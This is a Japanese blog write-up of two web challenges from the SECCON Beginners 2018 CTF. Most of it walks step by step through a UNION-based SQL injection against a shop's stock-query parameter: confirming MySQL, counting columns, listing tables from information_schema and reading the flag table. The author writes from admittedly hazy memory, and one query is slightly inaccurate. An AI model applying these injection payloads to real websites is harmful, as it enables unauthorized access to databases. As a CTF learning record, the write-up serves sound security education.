2018年05月26~27日の13:00から24時間、SECCON Beginnersがありました。
26日は昼から夜まで用事があったので「よしオールナイトCTFだ!」と気合入れてましたが、酒が入っていたこともありweb系の問題を2問だけ解いて力尽きましたw
2問解いたことは覚えてるんですが、1問目をどうやって解いたのか、そもそもどんな問題だったのか全然覚えてません…。2問目はSQLインジェクションの問題でした。使っているDBを特定して、テーブル名一覧取得して~っていう流れはなんか徐々にターゲットのことを把握していってる感じがあって楽しいですね。
Contents
1問目 Greeting
なんかよく覚えてないけど、formのtextboxのname属性を書き換えたらいけた記憶。
(酒が入っていて覚えていない)
2問目 SECCON Goods
SQLインジェクションの問題。
問題のURLにアクセスすると商品名とか価格とか在庫の一覧が表で表示されている。
情報収集フェーズ
開発者ツールで通信の内容を見てみると、
CSSとJSを要求しているGET通信以外に、2つ通信があるみたい。
問題のURLをGETで要求している通信以外に、
表に表示する情報を取得しているGET通信を発見。
クエリストリングに在庫の個数を指定していたので、SQLインジェクションの問題かなと予想。
クエリストリングのイメージは以下の通り。(ごめんなさい正確なのは覚えてないです)
hogehoge.seccon.jp?zaiko=2
このURLを直接ブラウザで叩いてみるとJSONが返ってくる。
なるほど。(ワクワク
SQLインジェクションの問題と予想したので、パラメータをいじってみる。
hogehoge.seccon.jp?zaiko='
結果が返ってこない。(っていう記憶)
あ、エラーは出さないのね。
でもSQLインジェクションの脆弱性がありそうだなと予想。
(確信したわけではないが、まぁbeginnerだしきっとそうだろうと思った)
とりあえずパラメータいじって遊んでみる。(ワクワク
hogehoge.seccon.jp?zaiko=100
なにも表示されない…。
hogehoge.seccon.jp?zaiko=8
返ってきた。
zaikoに指定された数値以上の商品の一覧を表示しているっぽい。
ここでまぁきっとMySQL使ってるんだろうなと思い、
コメントアウトで「#」を使っているのはMySQLだけだったよなぁ確か、
と思って以下のパラメータを作る。(ワクワク
hogehoge.seccon.jp?zaiko=8#
オッケー、エラーにならない。
おそらく使用されているRDMSはMySQLの確率が高い。
(この情報は特に今回の問題を解くためには不要)
仮説を立てるフェーズ
ここで以下のようなSQL文を作成していると予想。
SELECT 色々 FROM テーブル名 WHERE zaiko > zaikoに入力された値;
想像してみる。
おそらくこのテーブルにflagが入ってるとは考えにくい。
(いくらbeginnerとはいえ)
別のテーブルに入ってるんだろうと予想。
(beginnerだし別DBはないだろうと。beginnerだし)
ツールを使うと一瞬でわかるのかもしれませんが、
それはおもしろくないので、自力で頑張る。
まずはテーブル一覧とそのカラム名一覧を取得するという目標を立てる。
実現するためには以下のSQLを発行する必要がある。(ググった)(ワクワクワクワク
select table_schema,table_name,column_name from information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
SQLインジェクションをして上記のSQLを実行させる必要がある。
PHPは基本的には複文は許可していないと聞いたことがあるので(徳丸さんのブログ)
セミコロンで文を一旦区切って、そのあとに上記のSQLを発行することは難しいだろう。PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能
PDOに複文実行を禁止するオプションが追加されていた
そもそもそのときにレスポンスでJSONが返ってくるのか怪しい。
そういうことで、今回は既存のSQLの結果に追加してテーブルの情報を取得することをunion句を使って目指す。
UNION句は和集合ですよね。詳しくはググってね。
ターゲットになるSQLは以下。
SELECT 色々 FROM テーブル名 WHERE zaiko > zaikoに入力された値;
画面に表示されている項目から考えると「色々」と書いてるところは5つ。
ということは以下のSQL文が予想される。
SELECT A,B,C,D,E FROM テーブル名 WHERE zaiko > zaikoに入力された値;
実証するフェーズ
このSELECTとFROMの間のカラム数の予想が合っていることを確認するために、
以下のUNION句をパラメータに指定する。(ワクワク
1 union select null,null,null,null,null;
こんなSQL文が発行されるはず。
SELECT A,B,C,D,E FROM テーブル名 WHERE zaiko > 1 union select null,null,null,null,null;
エラーはでない。
返ってきた結果の最後に空欄の情報が表示されている。
次にテーブル一覧とカラム名を取得したい。目標で書いたSQL文を組み合わせる。(ワクワクワクワク
1 union select table_schema,table_name,column_name,null,null from information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
こんなSQL文が発行されるはず。
SELECT A,B,C,D,E FROM テーブル名 WHERE zaiko > 1 union select table_schema,table_name,column_name,null,null from information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
返ってきた結果の最後の方にテーブルの情報が表示されていて、
そこにflagと書かれている。
flagテーブルが存在していてflagというカラムが存在してるようだ。
(記憶で書いているので間違っていたらすみません。)
なら話は早い。
1 union select flag,null,null,null,null from flag;
SELECT A,B,C,D,E FROM テーブル名 WHERE zaiko > 1 union select flag,null,null,null,null from flag;
flagゲット!